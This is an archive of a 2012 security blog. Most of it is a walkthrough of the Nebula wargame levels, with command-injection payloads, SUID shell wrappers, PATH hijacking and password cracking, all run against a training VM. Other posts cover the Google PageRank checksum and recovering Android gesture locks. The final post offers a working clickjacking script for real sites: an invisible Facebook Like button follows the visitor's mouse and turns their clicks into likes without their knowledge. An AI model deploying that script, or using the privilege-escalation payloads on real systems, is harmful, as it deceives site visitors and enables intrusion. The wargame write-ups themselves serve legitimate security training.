Saturday, August 11, 2012

nebula level07

The level description states that this is flag07's first perl script. It's an interface to the "ping" command. The source code is as follows:
It's used as a CGI script. Looking at flag07's home directory, we can see the http daemon config:
level07@nebula:~$ ls -l /home/flag07
total 8
-rwxr-xr-x 1 root root  368 Nov 20  2011 index.cgi
-rw-r--r-- 1 root root 3719 Nov 20  2011 thttpd.conf
level07@nebula:~$ cat /home/flag07/thttpd.conf
# /etc/thttpd/thttpd.conf: thttpd configuration file

# This file is for thttpd processes created by /etc/init.d/thttpd.
# Commentary is based closely on the thttpd(8) 2.25b manpage, by Jef Poskanzer.

# Specifies an alternate port number to listen on.
port=7007

# Specifies a directory to chdir() to at startup. This is merely a convenience -
# you could just as easily do a cd in the shell script that invokes the program.
dir=/home/flag07

# Do a chroot() at initialization time, restricting file access to the program's
# current directory. If chroot is the compiled-in default (not the case on
# Debian), then nochroot disables it. See thttpd(8) for details.
nochroot
#chroot

# Specifies a directory to chdir() to after chrooting. If you're not chrooting,
# you might as well do a single chdir() with the dir option. If you are
# chrooting, this lets you put the web files in a subdirectory of the chroot
# tree, instead of in the top level mixed in with the chroot files.
#data_dir=

# Don't do explicit symbolic link checking. Normally, thttpd explicitly expands
# any symbolic links in filenames, to check that the resulting path stays within
# the original document tree. If you want to turn off this check and save some
# CPU time, you can use the nosymlinks option, however this is not
# recommended. Note, though, that if you are using the chroot option, the
# symlink checking is unnecessary and is turned off, so the safe way to save
# those CPU cycles is to use chroot.
#symlinks
#nosymlinks

# Do el-cheapo virtual hosting. If vhost is the compiled-in default (not the
# case on Debian), then novhost disables it. See thttpd(8) for details.
#vhost
#novhost

# Use a global passwd file. This means that every file in the entire document
# tree is protected by the single .htpasswd file at the top of the tree.
# Otherwise the semantics of the .htpasswd file are the same. If this option is
# set but there is no .htpasswd file in the top-level directory, then thttpd
# proceeds as if the option was not set - first looking for a local .htpasswd
# file, and if that doesn't exist either then serving the file without any
# password. If globalpasswd is the compiled-in default (not the case on Debian),
# then noglobalpasswd disables it.
#globalpasswd
#noglobalpasswd

# Specifies what user to switch to after initialization when started as root.
user=flag07

# Specifies a wildcard pattern for CGI programs, for instance "**.cgi" or
# "/cgi-bin/*". See thttpd(8) for details.
cgipat=**.cgi

# Specifies a file of throttle settings. See thttpd(8) for details.
#throttles=/etc/thttpd/throttle.conf

# Specifies a hostname to bind to, for multihoming. The default is to bind to
# all hostnames supported on the local machine. See thttpd(8) for details.
#host=

# Specifies a file for logging. If no logfile option is specified, thttpd logs
# via syslog(). If logfile=/dev/null is specified, thttpd doesn't log at all.
#logfile=/var/log/thttpd.log

# Specifies a file to write the process-id to. If no file is specified, no
# process-id is written. You can use this file to send signals to thttpd. See
# thttpd(8) for details.
#pidfile=

# Specifies the character set to use with text MIME types.
#charset=iso-8859-1

# Specifies a P3P server privacy header to be returned with all responses. See
# http://www.w3.org/P3P/ for details. Thttpd doesn't do anything at all with the
# string except put it in the P3P: response header.
#p3p=

# Specifies the number of seconds to be used in a "Cache-Control: max-age"
# header to be returned with all responses. An equivalent "Expires" header is
# also generated. The default is no Cache-Control or Expires headers, which is
# just fine for most sites.
#max_age=
Notice that thttpd is configured to listen to port 7007. You can start experimenting with it right away by going to http://nebula:7007/index.cgi?Host=google.com

The vulnerability is clearly, once again, code injection. All we need to do is inject commands through the Host parameter. Like the other challenges, we want a shell, so let's compile a wrapper then make it SUID:
level07@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level07@nebula:~$ make /tmp/shell
cc     /tmp/shell.c   -o /tmp/shell
Now we only need to make it SUID for flag07. We can inject the command to do so by setting the Host parameter to "; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh". We need to be careful to URL encode it first.
level07@nebula:~$ php -r 'echo "Host=" . urlencode("; cp /tmp/shell /tmp/flag07_sh; chmod +s /tmp/flag07_sh");' > lethal_data
level07@nebula:~$ wget -q -O - --post-file=lethal_data 'localhost:7007/index.cgi'
Ping results

level07@nebula:~$ /tmp/flag07_sh
sh-4.2$ getflag
You have successfully executed getflag on a target account
flags++ :)

~ Dmitry

Wednesday, August 8, 2012

nebula level06

Here we are, ready to pwn another level. As usual, we read the level details first: http://exploit-exercises.com/nebula/level06.
The flag06 account credentials came from a legacy unix system.
This probably means that the password hash is stored in the /etc/passwd file (as opposed to /etc/shadow, only readable by root). This is also where it used to be stored in the old days (before ~1988, see http://en.wikipedia.org/wiki/Shadow_password#History).
 Let's verify that.
level06@nebula:~$ grep flag06 /etc/passwd
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
Turns out our assumptions were correct. Let's pass the /etc/passwd file to John The Ripper (a famous serial killer password cracker). If you don't have access to john you can also install it in the VM directly (login as nebula/nebula and run "sudo apt-get install john"). Let's run john:
level06@nebula:~$ john /etc/passwd
Created directory: /home/level06/.john
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
hello            (flag06)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 9412  trying: 12345 - biteme
Use the "--show" option to display all of the cracked passwords reliably
Almost instantly, john pops out the password corresponding to flag06's hash ("hello")! We use our newly acquired knowledge to log in as flag06 and actually get the flag:
level06@nebula:~$ su flag06 -c getflag
Password:
You have successfully executed getflag on a target account
That was quick. Keep this up and you'll become a digital dragon slayer in no time :)

~ Dmitry

nebula level05

The level details (at http://exploit-exercises.com/nebula/level05) say:
Check the flag05 home directory. You are looking for weak directory permissions
Next we check the aforementioned directory:
level05@nebula:~$ ls -la /home/flag05
total 36
drwxr-x---  5 flag05 level05 4096 2012-08-08 01:59 .
drwxr-xr-x 43 root   root    4096 2011-11-20 20:21 ..
drwxr-xr-x  2 flag05 flag05  4096 2011-11-20 20:13 .backup
-rw-------  1 flag05 flag05    20 2012-08-08 01:59 .bash_history
-rw-r--r--  1 flag05 flag05   220 2011-05-18 02:54 .bash_logout
-rw-r--r--  1 flag05 flag05  3353 2011-05-18 02:54 .bashrc
drwx------  2 flag05 flag05  4096 2012-08-08 01:59 .cache
-rw-r--r--  1 flag05 flag05   675 2011-05-18 02:54 .profile
drwx------  2 flag05 flag05  4096 2011-11-20 20:13 .ssh
We notice the .ssh directory, which indicates that flag05 uses ssh, and the .backup directory, which we can examine:
level05@nebula:~$ ls -la /home/flag05/.backup
total 12
drwxr-xr-x 2 flag05 flag05  4096 2011-11-20 20:13 .
drwxr-x--- 5 flag05 level05 4096 2012-08-08 01:59 ..
-rw-rw-r-- 1 flag05 flag05  1826 2011-11-20 20:13 backup-19072011.tgz
Let's copy that backup tarball over and check it out.
level05@nebula:~$ cp /home/flag05/.backup/backup-19072011.tgz .
level05@nebula:~$ tar xvf backup-19072011.tgz
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
Whoa... It just dropped it's ssh private key (.ssh/id_rsa) in our home directory. And the presence of .ssh/id_rsa.pub indicates that it is (or used to be) in flag05's home directory as well. If it still is and corresponds to the same private key, we might be able to log in through ssh without a password. This is known as password-less login, and it's useful in some cases. The security is compromised if your id_rsa get's stolen and it doesn't require a passphrase though. Let's try to ssh as flag05, hopefully it won't require a passphrase:
level05@nebula:~$ ssh flag05@nebula

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Aug  8 01:59:32 2012 from localhost
flag05@nebula:~$
We're in! Time for another flag...
flag05@nebula:~$ getflag
You have successfully executed getflag on a target account
Nice and easy (given the right knowledge :)

~ Dmitry

nebula level04

Our objective this time is a bit different. As stated in http://exploit-exercises.com/nebula/level04, instead of directly impersonating flag04, our task is to get a token. The source code for /home/flag04/flag04 is given below.

After analyzing it, we conclude that the program is opening the file specified in the first argument, reading it's contents, and writing them to the standard output (1 is the file descriptor for the standard output, or stdout, else defined as STDOUT_FILENO).
In the /home/flag04 directory we notice that there's a file named token:
level04@nebula:~$ ls -l /home/flag04
total 12
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token
Could we use flag04 to print out the contents of token? As it turns out, flag04 will not allow us to dump the contents of files containing "token" in their name.
This challenge requires us to know about symlinks (short for Symbolic Links). Symlinks are linux's equivalent of shortcuts. We can create a symlink using ln, and the resulting file will be effectively the same as the original file. You can learn more about symlinks in wikipedia or in ln's man page ("man ln").

Getting the token

Easily enough, we create a symlink for "token" with a different name, and run flag04 on it.
level04@nebula:~$ ln -s /home/flag04/token t
level04@nebula:~$ /home/flag04/flag04 t
06508b5e-8909-4f38-b630-fdb148a848a2
There's our token. As it turns out the token is also the password for user flag04.
So let's get that flag :)
level04@nebula:~$ su flag04 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

nebula level03

According to the level details in http://exploit-exercises.com/nebula/level03 there is a crontab called every couple of minutes (for/as user flag03). Let's check flag03's home directory:
level03@nebula:~$ ls -l /home/flag03
total 8
drwxrwxrwx 2 flag03 flag03 4096 2012-08-08 00:21 writable.d
-rwxr-xr-x 1 flag03 flag03   98 2011-11-20 21:22 writable.sh
writable.d seems to be world-writable (everyone can write to it, just like /tmp).
writable.sh must be the script called by cron. Let's see what it does:
level03@nebula:~$ cat /home/flag03/writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
        (ulimit -t 5; bash -x "$i")
        rm -f "$i"
done
Apparently writable.sh executes every executable file residing in writable.d with a 5 second cpu time limit, and then deletes it. We can't do a lot ourselves with a 5 second time limit. We want a shell. So our strategy will be the following:
Make a script to be called by writable.sh (which is itself called by cron and executed as user flag03) which will drop a SUID shell for us in tmp. Then we'll be free to use the shell in /tmp whenever we need it, for as long as we want.

The shell

For the shell we'll just make a simple C program which calls setresuid and then executes bash:
level03@nebula:~$ cat > /tmp/level03_sh.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();
    setresuid(euid, euid, euid);
    system("/bin/sh");
    return 0;
}
level03@nebula:~$ make /tmp/level03_sh
cc     /tmp/level03_sh.c   -o /tmp/level03_sh

The script

First we make the script which will drop our shell and put it in writable.d:
level03@nebula:~$ cat > /home/flag03/writable.d/execme
#!/bin/sh
cp /tmp/level03_sh /tmp/flag03_sh
chmod +s /tmp/flag03_sh
level03@nebula:~$ chmod +x /home/flag03/writable.d/execme
Then we wait for it to be called:
level03@nebula:~$ chmod +x /home/flag03/writable.d/execme
level03@nebula:~$ sleep 180; /tmp/flag03_sh
sh-4.2$ id
uid=996(flag03) gid=1004(level03) groups=996(flag03),1004(level03)
In no longer than 3 minutes we have a shell. Now get that flag :D
sh-4.2$ getflag
You have successfully executed getflag on a target account

~ Dmitry

Tuesday, August 7, 2012

nebula level02

level02 might look harder than level01 although the similar construct. Indeed, level02 uses an absolute path, eliminating the previous vulnerability:

Analyzing the source code, we can see that apart from setting all UIDs the same as EUID, level02 calls asprintf in order to dynamically build formatted data. More accurately, the format is "/bin/echo %s is cool". asprintf replaces "%s" with $USER from the environment variable.
The formatted data (held in buffer) is then passed as the argument to system().
Normally $USER holds the name of the currently logged in user, as one would expect. But we can set it to anything we want, therefore level02 is vulnerable to command injection.

Injecting commands into the vulnerable buffer

To specify another command to execute, we use ";" to separate the commands. Since we want a shell with the UIDs of flag02, as usual, we specify the next command to be sh. After that we can see from the format string that we are left with " is cool", which comes after our command. We want to ignore it, because it interferes with the command we want to inject, so we use "#" after our command, which means that everything that comes next is part of a comment and should not be considered by the shell.

Getting the flag

level02@nebula:~$ export USER='; sh #'
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ; sh # is cool")

sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account
And with that we have our third flag! :)

~ Dmitry

nebula level01

As usual, we log in as level01/level01 on the nebula VM and go to http://exploit-exercises.com/nebula/level01 for getting the level details. Apparently there is a vulnerable binary in /home/flag01 with the following source code:


Let's check /home/flag01:
level01@nebula:~$ ls -l /home/flag01
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
SUID binary, that must be it. Analyzing the source code, we see that the program is very straightforward. It Sets the Real, Effective and Saved UIDs the same as the Effective UID (you can look up what these do). This is so that the SUID process is now effectively running as if called by the owner (flag01).
After this, the program executes "/usr/bin/env echo and now what?". That looks kind of normal... So where's the vulnerability?
Well, as it turns out, when you invoke a program without specifying it's absolute path, linux will look for it in the $PATH environment variable. But $PATH is controlled by us, so what stops us from specifying our own path with a malicious 'echo' program in it? Nothing. Let's go ahead and do just that. Our malicious 'echo' will be simple: it will just launch a shell. Since it's called by user flag01, we will have the same privileges.
level01@nebula:~$ echo '/bin/sh' > /tmp/echo
level01@nebula:~$ chmod +x /tmp/echo
level01@nebula:~$ export PATH=/tmp:$PATH
level01@nebula:~$ /home/flag01/flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Yay, another flag for us! :)

If you were wondering, /usr/bin/env is specified so that the shell treats echo as an actual program, not as the built-in command. If there were no built-in command, you could omit /usr/bin/env

Stay tuned!

~ Dmitry

exploit-exercises walkthrough, nebula level00

exploit-exercises.com has some very cool wargame VMs, on which you can solve security related challenges. In this and the following blog posts, I'm going to walk you through solving all of the challenges, starting with nebula, protostar, and finally fusion.

I'm going to use VMware for running the provided VMs, but if you're comfortable with other virtualization software feel free to use them.
We start by downloading the nebula VM from http://exploit-exercises.com/download.
 VMware might give you a warning regarding some OVA format specifics, just hit "Retry" and you're good to go.

Instead of playing the wargames directly VMware, I like to ssh to the VM from the host. The ssh daemon is already set up on the VM, so you can freely use ssh, but you might want to add the VMs ip to the hosts file, so that you don't have to remember it. Log in as user nebula (password nebula) and get the ip using ifconfig as below:


Then you can add the ip to your hosts file and ssh to the VM.
(If you are using Windows as the host OS, you might want to use PuTTY as your SSH client).

$ echo "192.168.1.59 nebula" >> /etc/hosts
$ ssh level00@nebula
The authenticity of host 'nebula (192.168.1.59)' can't be established.
ECDSA key fingerprint is ea:8d:09:1d:f1:69:e6:1e:55:c7:ec:e9:76:a1:37:f0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nebula,192.168.1.59' (ECDSA) to the list of known hosts.

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula


For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).


level00@nebula's password:
Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Aug  7 05:53:19 2012
level00@nebula:~$

Now that you are logged in, let's take a look at the level details: http://exploit-exercises.com/nebula/level00.
 The level requires you to find a SUID binary owned by flag00. Your goal is to impersonate user flag00. An SUID binary is basically a program that when ran, sets the effective UID (EUID) of the process to the owner UID of the binary, as opposed to the user executing the program. This is done for a variety of reasons and you can read more about it in UNIX books or on wikipedia. Generally it represents a security issue if the binary is vulnerable to some attack.

Looking manually for the binary would be tedious. Let's use "find" to find it for us. We want to scan the whole file system, so we will start searching from "/". If you're not familiar with "find", it's a good idea read (or skim through) the man page ("man find"). The binary is owned by user flag00, so we specify "-user flag00", and it has to have the SUID bit set, so we specify the permissions as "-perm -u=s". "2> /dev/null" is for ignoring errors.

level00@nebula:~$ find / -user flag00 -perm -u=s 2> /dev/null
/bin/.../flag00
Easy enough, now let's run it.
level00@nebula:~$ /bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:~$ getflag
You have successfully executed getflag on a target account
w00t! We solved it! :)

~ Dmitry

Wednesday, August 1, 2012

Google PageRank checksum algorithm

The Google PageRank functionality in Google Toolbar works by querying Google's server for information on the PageRank of a specific page. This might seem easy enough to implement in your own program/website, but the problem is that the toolbar calculates a checksum on the page URL before querying the server, and the server only responds if the checksum is correct. Fortunately the checksum algorithm was reverse engineered from Google Toolbar 7. I was provided the hand decompiled version of the algorithm in C from a friend. Then I went ahead and rewrote it in PHP for web development usage. You can find both versions below.

As an example, the query URL for the page 'http://en.wikipedia.org/wiki/Cypherpunk' is http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&q=info:http://en.wikipedia.org/wiki/Cypherpunk&ch=783735859783

Any other query with a checksum other than 783735859783 will result in a '403 forbidden' response.
Enjoy.

C Version (original): PHP Version:

~ Dmitry

Cracking Android gesture patterns

On Android devices, the gesture lock pattern is stored in the /data/system/gesture.key file in a rather insecure  format. The file consists of the SHA-1 hash of the gesture pattern - unsalted! Since the gesture pattern space is relatively small, it is feasible to create a rainbow table with all the possible patterns and the corresponding hashes. In fact such rainbow tables already exist. To retrieve the gesture lock pattern, once you have acquired the gesture.key file (through the JTAG hardware interface or through adb), you can look the hash up in the rainbow table:

$ wget 'http://www.android-forensics.com/tools/AndroidGestureSHA1.rar'
$ unrar AndroidGestureSHA1.rar
$ grep `xxd -p gesture.key` AndroidGestureSHA1.rar
56742391;04 05 06 03 01 02 08 00;4895B0FDC65F7802D165140BF1A77B982BD98779 

There it is, '56742391'. As was demonstrated, the gesture lock pattern is very easy to recover, and you shouldn't rely on it for security!

~ Dmitry

Getting more likes on your Facebook page

Ever wondered how you could boost the number of likes you get on your Facebook page? If you have a website, you can embed a simple script in order to turn every click - ANY click - into a Facebook like for your page.

The underlying mechanism works as follows:
You create an iframe containing the Facebook 'like' button, and you make it follow the visitor's mouse. The catch here is that the iframe is invisible - so the visitor will not know when he clicked like. This method is very effective and I've seen Facebook likes skyrocket in practice, in just a matter of days. The script is shown below - customize the Facebook page name and the number of seconds the 'like' button should remain active, and you're good to go. To implement the functionality in your site, just copy the script between the <head> ... </head> tags. Enjoy.
<script type="text/javascript">
(function(){
 var pageURL = 'http://www.facebook.com/YourPageHere';
 var likeTimeout = 10000; // milliseconds
 
 var x, y, usingIE;
 
 x = y = 0;
 usingIE = document.all ? true : false;
 if(!usingIE)
  document.captureEvents(Event.MOUSEMOVE);
  
 var like = document.createElement('iframe');
 like.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(pageURL) + '&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80';
 like.scrolling = 'no';
 like.frameBorder = 0;
 like.allowTransparency = 'true';
 like.style.border = 0;
 like.style.overflow = 'hidden';
 like.style.cursor = 'pointer';
 like.style.width = '53px';
 like.style.height = '23px';
 like.style.position = 'absolute';
 like.style.opacity = 0;
 document.getElementsByTagName('body')[0].appendChild(like);
 
 window.addEventListener('mousemove', mouseMove, false);

 setTimeout(function(){
  document.getElementsByTagName('body')[0].removeChild(like);
  window.removeEventListener('mousemove', mouseMove, false);
 }, likeTimeout);

 function mouseMove(e)
 {
  if(usingIE) {
   x = event.clientX + document.body.scrollLeft;
   y = event.clientY + document.body.scrollTop;
  } else {
   x = e.pageX;
   y = e.pageY;
  }

  if(x < 0) x = 0;
  if(y < 0) y = 0;

  like.style.top = (y - 20) + 'px';
  like.style.left = (x - 40) + 'px';
  
  return true;
 }
})();
</script>

~ Dmitry